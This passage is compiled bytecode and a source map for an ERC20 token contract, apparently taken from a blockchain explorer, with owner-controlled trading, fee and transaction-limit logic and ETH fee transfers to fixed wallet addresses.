6135a8565b600060405180830381600087803b15801561223057600080fd5b505af1158015612244573d6000803e3d6000fd5b5050505050506000600f60016101000a81548160ff02191690831515021790555050565b7f0000000000000000000000005baff3c09f4b973b49ecf75613c31b9fecd4c41c73ffffffffffffffffffffffffffffffffffffffff166108fc6003836122af91906133a0565b9081150290604051600060405180830381858888f193505050501580156122da573d6000803e3d6000fd5b507342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffffffff166108fc60038361231691906133a0565b9081150290604051600060405180830381858888f19350505050158015612341573d6000803e3d6000fd5b5050565b600061238783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ed7565b905092915050565b600080828461239e9190612e79565b9050838110156123e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123da9061364e565b60405180910390fd5b8091505092915050565b60008083118290612434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242b91906124e0565b60405180910390fd5b506000838561244391906133a0565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561248a57808201518184015260208101905061246f565b60008484015250505050565b6000601f19601f8301169050919050565b60006124b282612450565b6124bc818561245b565b93506124cc81856020860161246c565b6124d581612496565b840191505092915050565b600060208201905081810360008301526124fa81846124a7565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061254182612516565b9050919050565b61255181612536565b811461255c57600080fd5b50565b60008135905061256e81612548565b92915050565b6000819050919050565b61258781612574565b811461259257600080fd5b50565b6000813590506125a48161257e565b92915050565b600080604083850312156125c1576125c061250c565b5b60006125cf8582860161255f565b92505060206125e085828601612595565b9150509250929050565b60008115159050919050565b6125ff816125ea565b82525050565b600060208201905061261a60008301846125f6565b92915050565b61262981612574565b82525050565b60006020820190506126446000830184612620565b92915050565b6000602082840312156126605761265f61250c565b5b600061266e8482850161255f565b91505092915050565b6000806000606084860312156126905761268f61250c565b5b600061269e8682870161255f565b93505060206126af8682870161255f565b92505060406126c086828701612595565b9150509250925092565b600060ff82169050919050565b6126e0816126ca565b82525050565b60006020820190506126fb60008301846126d7565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261272657612725612701565b5b8235905067ffffffffffffffff81111561274357612742612706565b5b60208301915083602082028301111561275f5761275e61270b565b5b9250929050565b6000806020838503121561277d5761277c61250c565b5b600083013567ffffffffffffffff81111561279b5761279a612511565b5b6127a785828601612710565b92509250509250929050565b6127bc816125ea565b81146127c757600080fd5b50565b6000813590506127d9816127b3565b92915050565b6000602082840312156127f5576127f461250c565b5b6000612803848285016127ca565b91505092915050565b61281581612536565b82525050565b6000602082019050612830600083018461280c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61286e82612496565b810181811067ffffffffffffffff8211171561288d5761288c612836565b5b80604052505050565b60006128a0612502565b90506128ac8282612865565b919050565b600067ffffffffffffffff8211156128cc576128cb612836565b5b602082029050602081019050919050565b60006128f06128eb846128b1565b612896565b905080838252602082019050602084028301858111156129135761291261270b565b5b835b8181101561293c5780612928888261255f565b845260208401935050602081019050612915565b5050509392505050565b600082601f83011261295b5761295a612701565b5b813561296b8482602086016128dd565b91505092915050565b6000806040838503121561298b5761298a61250c565b5b600083013567ffffffffffffffff8111156129a9576129a8612511565b5b6129b585828601612946565b92505060206129c6858286016127ca565b9150509250929050565b600080604083850312156129e7576129e661250c565b5b600083013567ffffffffffffffff811115612a0557612a04612511565b5b612a1185828601612946565b9250506020612a2285828601612595565b9150509250929050565b600067ffffffffffffffff821115612a4757612a46612836565b5b602082029050602081019050919050565b6000612a6b612a6684612a2c565b612896565b90508083825260208201905060208402830185811115612a8e57612a8d61270b565b5b835b81811015612ab75780612aa38882612595565b845260208401935050602081019050612a90565b5050509392505050565b600082601f830112612ad657612ad5612701565b5b8135612ae6848260208601612a58565b91505092915050565b600060208284031215612b0557612b0461250c565b5b600082013567ffffffffffffffff811115612b2357612b22612511565b5b612b2f84828501612ac1565b91505092915050565b60008060408385031215612b4f57612b4e61250c565b5b6000612b5d8582860161255f565b9250506020612b6e8582860161255f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612bfe57808604811115612bda57612bd9612b78565b5b6001851615612be95780820291505b8081029050612bf785612ba7565b9450612bbe565b94509492505050565b600082612c175760019050612cd3565b81612c255760009050612cd3565b8160018114612c3b5760028114612c4557612c74565b6001915050612cd3565b60ff841115612c5757612c56612b78565b5b8360020a915084821115612c6e57612c6d612b78565b5b50612cd3565b5060208310610133831016604e8410600b8410161715612ca95782820a905083811115612ca457612ca3612b78565b5b612cd3565b612cb68484846001612bb4565b92509050818404811115612ccd57612ccc612b78565b5b81810290505b9392505050565b6000612ce582612574565b9150612cf0836126ca565b9250612d1d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c07565b905092915050565b6000612d3082612574565b9150612d3b83612574565b9250828202612d4981612574565b91508282048414831517612d6057612d5f612b78565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d9d60208361245b565b9150612da882612d67565b602082019050919050565b60006020820190508181036000830152612dcc81612d90565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b6000612e0d82612574565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e3f57612e3e612b78565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e8482612574565b9150612e8f83612574565b9250828201905080821115612ea757612ea6612b78565b5b92915050565b6000612eb882612574565b9150612ec383612574565b9250828203905081811115612edb57612eda612b78565b5b92915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f1760178361245b565b9150612f2282612ee1565b602082019050919050565b60006020820190508181036000830152612f4681612f0a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fa960248361245b565b9150612fb482612f4d565b604082019050919050565b60006020820190508181036000830152612fd881612f9c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061303b60228361245b565b915061304682612fdf565b604082019050919050565b6000602082019050818103600083015261306a8161302e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130cd60258361245b565b91506130d882613071565b604082019050919050565b600060208201905081810360008301526130fc816130c0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061315f60238361245b565b915061316a82613103565b604082019050919050565b6000602082019050818103600083015261318e81613152565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131f160298361245b565b91506131fc82613195565b604082019050919050565b60006020820190508181036000830152613220816131e4565b9050919050565b7f5472616e7366657220616d6f756e74206d757374206265206c6573732074686160008201527f6e207468616e206d6178207472616e73616374696f6e20616d6f756e74206c6960208201527f6d69740000000000000000000000000000000000000000000000000000000000604082015250565b60006132a960438361245b565b91506132b482613227565b606082019050919050565b600060208201905081810360008301526132d88161329c565b9050919050565b7f5472616e7366657220696d706c6965732076696f6c6174696f6e206f66206d6160008201527f7820746f6b656e20686f6c64696e6773206c696d697400000000000000000000602082015250565b600061333b60368361245b565b9150613346826132df565b604082019050919050565b6000602082019050818103600083015261336a8161332e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133ab82612574565b91506133b683612574565b9250826133c6576133c5613371565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061342d60218361245b565b9150613438826133d1565b604082019050919050565b6000602082019050818103600083015261345c81613420565b9050919050565b60008151905061347281612548565b92915050565b60006020828403121561348e5761348d61250c565b5b600061349c84828501613463565b91505092915050565b6000819050919050565b6000819050919050565b60006134d46134cf6134ca846134a5565b6134af565b612574565b9050919050565b6134e4816134b9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61351f81612536565b82525050565b60006135318383613516565b60208301905092915050565b6000602082019050919050565b6000613555826134ea565b61355f81856134f5565b935061356a83613506565b8060005b8381101561359b5781516135828882613525565b975061358d8361353d565b92505060018101905061356e565b5085935050505092915050565b600060a0820190506135bd6000830188612620565b6135ca60208301876134db565b81810360408301526135dc818661354a565b90506135eb606083018561280c565b6135f86080830184612620565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613638601b8361245b565b915061364382613602565b602082019050919050565b600060208201905081810360008301526136678161362b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b09a82f19f4260f32a9151ecbd1a8bc3b2471ff29921103be6e4058492a11e264736f6c63430008110033
Deployed Bytecode Sourcemap
4213:8783:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6507:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7426:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5179:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6870:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11179:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7595:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6693:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12839:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6784:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6973:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3294:148;;;;;;;;;;;;;:::i;:::-;;11477:116;;;;;;;;;;;;;:::i;:::-;;4985:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12739:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3080:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5049:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6598:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11920:320;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12248:258;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7100:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5113:59;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11601:154;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12514:215;;;;;;;;;;;;;:::i;:::-;;7275:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6507:83;6544:13;6577:5;;;;;;;;;;;;;;;;;6570:12;;6507:83;:::o;7426:161::-;7501:4;7518:39;7527:12;:10;:12::i;:::-;7541:7;7550:6;7518:8;:39::i;:::-;7575:4;7568:11;;7426:161;;;;:::o;5179:54::-;;;;:::o;6870:95::-;6923:7;4665:1;4720:2;:13;;;;:::i;:::-;4708:9;:25;;;;:::i;:::-;6943:14;;6870:95;:::o;11179:292::-;11252:15;11238:29;;:10;:29;;;:64;;;;5508:42;11271:31;;:10;:31;;;11238:64;:109;;;;5320:42;11320:27;;:10;:27;;;11238:109;:169;;;;11365:42;11351:56;;:10;:56;;;11238:169;11230:178;;;;;;11427:3;11419:21;;:44;11441:21;11419:44;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11179:292;:::o;7595:313::-;7693:4;7710:36;7720:6;7728:9;7739:6;7710:9;:36::i;:::-;7757:121;7766:6;7774:12;:10;:12::i;:::-;7788:89;7826:6;7788:89;;;;;;;;;;;;;;;;;:11;:19;7800:6;7788:19;;;;;;;;;;;;;;;:33;7808:12;:10;:12::i;:::-;7788:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7757:8;:121::i;:::-;7896:4;7889:11;;7595:313;;;;;:::o;6693:83::-;6734:5;4665:1;6752:16;;6693:83;:::o;12839:152::-;3217:12;:10;:12::i;:::-;3207:22;;:6;;;;;;;;;;:22;;;3199:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12940:1:::1;12929:8;;:12;12922:20;;;;:::i;:::-;;12963:1;12952:3;;:10;;:12;:29;;;;;12980:1;12970:8;;12968:10;;;;;:::i;:::-;;;;;;;:13;;12952:29;12944:38;;;::::0;::::1;;12839:152:::0;;:::o;6784:78::-;6823:7;6850:4;;6843:11;;6784:78;:::o;6973:119::-;7039:7;7066:9;:18;7076:7;7066:18;;;;;;;;;;;;;;;;7059:25;;6973:119;;;:::o;3294:148::-;3217:12;:10;:12::i;:::-;3207:22;;:6;;;;;;;;;;:22;;;3199:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3401:1:::1;3364:40;;3385:6;::::0;::::1;;;;;;;;3364:40;;;;;;;;;;;;3432:1;3415:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3294:148::o:0;11477:116::-;3217:12;:10;:12::i;:::-;3207:22;;:6;;;;;;;;;;:22;;;3199:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4665:1:::1;4720:2;:13;;;;:::i;:::-;4708:9;:25;;;;:::i;:::-;11530:12;:22;;;;4665:1;4720:2;:13;;;;:::i;:::-;4708:9;:25;;;;:::i;:::-;11563:14;:22;;;;11477:116::o:0;4985:57::-;;;;:::o;12739:92::-;3217:12;:10;:12::i;:::-;3207:22;;:6;;;;;;;;;;:22;;;3199:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12803:3:::1;:19;;;;;12821:1;12810:8;;:10;;;;;;;;;:::i;:::-;;;;;:12;12803:19;12795:28;;;::::0;::::1;;12739:92:::0;:::o;3080:79::-;3118:7;3145:6;;;;;;;;;;;3138:13;;3080:79;:::o;5049:57::-;;;;:::o;6598:87::-;6637:13;6670:7;;;;;;;;;;;;;;;;;6663:14;;6598:87;:::o;11920:320::-;3217:12;:10;:12::i;:::-;3207:22;;:6;;;;;;;;;;:22;;;3199:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12008:6:::1;12003:230;12024:5;:12;12020:1;:16;12003:230;;;12078:13;12066:25;;:5;12072:1;12066:8;;;;;;;;:::i;:::-;;;;;;;;:25;;;;:65;;;;;5634:42;12095:36;;:5;12101:1;12095:8;;;;;;;;:::i;:::-;;;;;;;;:36;;;;12066:65;:115;;;;;12176:4;12156:25;;:5;12162:1;12156:8;;;;;;;;:::i;:::-;;;;;;;;:25;;;;12066:115;12058:124;;;::::0;::::1;;12214:7;12197:4;:14;12202:5;12208:1;12202:8;;;;;;;;:::i;:::-;;;;;;;;12197:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;12038:3;;;;;:::i;:::-;;;;12003:230;;;;11920:320:::0;;:::o;12248:258::-;3217:12;:10;:12::i;:::-;3207:22;;:6;;;;;;;;;;:22;;;3199:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12347:1:::1;12333:3;:10;:15;:32;;;;12364:1;12352:8;;:13;12333:32;12330:155;;;12380:8;::::0;::::1;12330:155;12418:1;12407:8;;:12;12404:81;;;12435:8;;:10;;;;;;;;;:::i;:::-;;;;;;12467:6;12460:3;;:13;;;;;;;:::i;:::-;;;;;;;;12404:81;12248:258:::0;;:::o;7100:167::-;7178:4;7195:42;7205:12;:10;:12::i;:::-;7219:9;7230:6;7195:9;:42::i;:::-;7255:4;7248:11;;7100:167;;;;:::o;5113:59::-;;;;:::o;11601:154::-;3217:12;:10;:12::i;:::-;3207:22;;:6;;;;;;;;;;:22;;;3199:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11687:3:::1;11703:1;11691:3;:10;:13;;;;:::i;:::-;11687:18;;;;;;;;:::i;:::-;;;;;;;;11673:11;:32;;;;11728:3;11745:1;11732:3;:10;:14;;;;:::i;:::-;11728:19;;;;;;;;:::i;:::-;;;;;;;;11716:9;:31;;;;11601:154:::0;:::o;12514:215::-;3217:12;:10;:12::i;:::-;3207:22;;:6;;;;;;;;;;:22;;;3199:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12589:1:::1;12577:8;;:13;:29;;;;;12595:11;;;;;;;;;;;12594:12;12577:29;12569:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12651:12;12644:3;;:19;;;;;;;:::i;:::-;;;;;;;;12688:4;12674:11;;:18;;;;;;;;;;;;;;;;;;12717:4;12703:11;;:18;;;;;;;;;;;;;;;;;;12514:215::o:0;7275:143::-;7356:7;7383:11;:18;7395:5;7383:18;;;;;;;;;;;;;;;:27;7402:7;7383:27;;;;;;;;;;;;;;;;7376:34;;7275:143;;;;:::o;835:98::-;888:7;915:10;908:17;;835:98;:::o;7916:335::-;8026:1;8009:19;;:5;:19;;;8001:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8107:1;8088:21;;:7;:21;;;8080:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8189:6;8159:11;:18;8171:5;8159:18;;;;;;;;;;;;;;;:27;8178:7;8159:27;;;;;;;;;;;;;;;:36;;;;8227:7;8211:32;;8220:5;8211:32;;;8236:6;8211:32;;;;;;:::i;:::-;;;;;;;;7916:335;;;:::o;8451:2027::-;8519:4;8310:11;;;;;;;;;;;:42;;;;5508;8325:27;;:6;:27;;;8310:42;:71;;;;8366:15;8356:25;;:6;:25;;;8310:71;:112;;;;5320:42;8399:23;;:6;:23;;;8310:112;8302:121;;;;;;8568:1:::1;8552:18;;:4;:18;;::::0;8544:68:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;8645:1;8631:16;;:2;:16;;::::0;8623:64:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;8715:1;8706:6;:10;8698:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8810:6;8792:9;:15;8802:4;8792:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;8774:9;:15;8784:4;8774:15;;;;;;;;;;;;;;;:42;;;;8827:17;8868:15;8862:21;;:2;:21;;;;:46;;;;;5320:42;8887:21;;:4;:21;;;;8862:46;:87;;;;;5508:42;8924:25;;:4;:25;;;;8862:87;:114;;;;;5508:42;8953:23;;:2;:23;;;;8862:114;:139;;;;;8996:4;8980:21;;:4;:21;;;;8862:139;8858:1320;;;9023:4;:10;9028:4;9023:10;;;;;;;;;;;;;;;;;;;;;;;;;:33;;;;9053:3;;9037:12;:19;;9023:33;9020:230;;;9087:23;9106:3;9087:14;5270:2;9087:6;:10;;:14;;;;:::i;:::-;:18;;:23;;;;:::i;:::-;9075:35;;9020:230;;;9159:91;9246:3;9159:82;9179:1;9172:3;;:8;:67;;9209:13;9203:19;;:2;:19;;::::0;:35:::1;;9229:9;;9203:35;;;9225:1;9203:35;9188:11;;:51;;;;:::i;:::-;9172:67;;;9183:2;9172:67;9159:6;:10;;:82;;;;:::i;:::-;:86;;:91;;;;:::i;:::-;9147:103;;9020:230;9279:13;9271:21;;:4;:21;;;:55;;;;;5634:42;9296:30;;:2;:30;;;;9271:55;:83;;;;;9332:18;:22;9351:2;9332:22;;;;;;;;;;;;;;;;;;;;;;;;;9330:24;9271:83;9267:352;;;9393:12;;9383:6;:22;;9375:102;;;;;;;;;;;;:::i;:::-;;;;;;;;;9530:14;;9520:6;9504:13;9514:2;9504:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9496:107;;;;;;;;;;;;:::i;:::-;;;;;;;;;9267:352;9633:28;9664:24;9682:4;9664:9;:24::i;:::-;9633:55;;9708:6;;;;;;;;;;;9707:7;:32;;;;;9726:13;9718:21;;:4;:21;;;;9707:32;:76;;;;;9766:17;;9743:20;:40;9707:76;:112;;;;;9807:12;9800:3;;4886:1;9787:16;;;;:::i;:::-;:32;;9707:112;9703:468;;;9840:26;9869:21;9840:50;;9909:38;9926:20;9909:16;:38::i;:::-;10011:18;9987:21;:42;;;;:::i;:::-;9966:63;;10076:1;10055:18;:22;10052:106;;;10106:32;10119:18;10106:12;:32::i;:::-;10052:106;9821:350;9703:468;9003:1175;8858:1320;10202:40;10220:21;10231:9;10220:6;:10;;:21;;;;:::i;:::-;10202:9;:13;10212:2;10202:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;10188:9;:13;10198:2;10188:13;;;;;;;;;;;;;;;:54;;;;10273:2;10258:41;;10267:4;10258:41;;;10277:21;10288:9;10277:6;:10;;:21;;;;:::i;:::-;10258:41;;;;;;:::i;:::-;;;;;;;;10323:1;10313:9;:11;10310:161;;;10363:39;10392:9;10363;:24;10381:4;10363:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;10338:9;:24;10356:4;10338:24;;;;;;;;;;;;;;;:64;;;;10443:4;10420:39;;10429:4;10420:39;;;10449:9;10420:39;;;;;;:::i;:::-;;;;;;;;10310:161;8533:1945;8451:2027:::0;;;;:::o;1972:190::-;2058:7;2091:1;2086;:6;;2094:12;2078:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2118:9;2134:1;2130;:5;;;;:::i;:::-;2118:17;;2153:1;2146:8;;;1972:190;;;;;:::o;2170:246::-;2228:7;2257:1;2252;:6;2248:47;;2282:1;2275:8;;;;2248:47;2305:9;2321:1;2317;:5;;;;:::i;:::-;2305:17;;2350:1;2345;2341;:5;;;;:::i;:::-;:10;2333:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2407:1;2400:8;;;2170:246;;;;;:::o;2424:132::-;2482:7;2509:39;2513:1;2516;2509:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2502:46;;2424:132;;;;:::o;10594:573::-;5878:4;5869:6;;:13;;;;;;;;;;;;;;;;;;10672:18:::1;10707:11;;10693;:25;:59;;10735:17;;10693:59;;;10721:11;;10693:59;10672:80;;10763:21;10801:1;10787:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10763:40;;10832:4;10814;10819:1;10814:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;5634:42;10858:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10848:4;10853:1;10848:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10891:62;10908:4;5634:42;10941:11;10891:8;:62::i;:::-;5634:42;10964:66;;;11045:10;11070:1;11086:4;11113;11133:15;10964:195;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10661:506;;5914:5:::0;5905:6;;:14;;;;;;;;;;;;;;;;;;10594:573;:::o;11763:149::-;11820:15;:24;;:36;11854:1;11845:6;:10;;;;:::i;:::-;11820:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5508:42;11867:26;;:37;11902:1;11894:6;:9;;;;:::i;:::-;11867:37;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11763:149;:::o;1828:136::-;1886:7;1913:43;1917:1;1920;1913:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1906:50;;1828:136;;;;:::o;1641:179::-;1699:7;1719:9;1735:1;1731;:5;;;;:::i;:::-;1719:17;;1760:1;1755;:6;;1747:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1811:1;1804:8;;;1641:179;;;;:::o;2564:189::-;2650:7;2682:1;2678;:5;2685:12;2670:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2709:9;2725:1;2721;:5;;;;:::i;:::-;2709:17;;2744:1;2737:8;;;2564:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:329::-;3857:6;3906:2;3894:9;3885:7;3881:23;3877:32;3874:119;;;3912:79;;:::i;:::-;3874:119;4032:1;4057:53;4102:7;4093:6;4082:9;4078:22;4057:53;:::i;:::-;4047:63;;4003:117;3798:329;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:117::-;5297:1;5294;5287:12;5311:117;5420:1;5417;5410:12;5434:117;5543:1;5540;5533:12;5571:565;5641:8;5651:6;5701:3;5694:4;5686:6;5682:17;5678:27;5668:122;;5709:79;;:::i;:::-;5668:122;5822:6;5809:20;5799:30;;5852:18;5844:6;5841:30;5838:117;;;5874:79;;:::i;:::-;5838:117;5988:4;5980:6;5976:17;5964:29;;6042:3;6034:4;6026:6;6022:17;6012:8;6008:32;6005:41;6002:128;;;6049:79;;:::i;:::-;6002:128;5571:565;;;;;:::o;6142:553::-;6225:6;6233;6282:2;6270:9;6261:7;6257:23;6253:32;6250:119;;;6288:79;;:::i;:::-;6250:119;6436:1;6425:9;6421:17;6408:31;6466:18;6458:6;6455:30;6452:117;;;6488:79;;:::i;:::-;6452:117;6601:77;6670:7;6661:6;6650:9;6646:22;6601:77;:::i;:::-;6583:95;;;;6379:309;6142:553;;;;;:::o;6701:116::-;6771:21;6786:5;6771:21;:::i;:::-;6764:5;6761:32;6751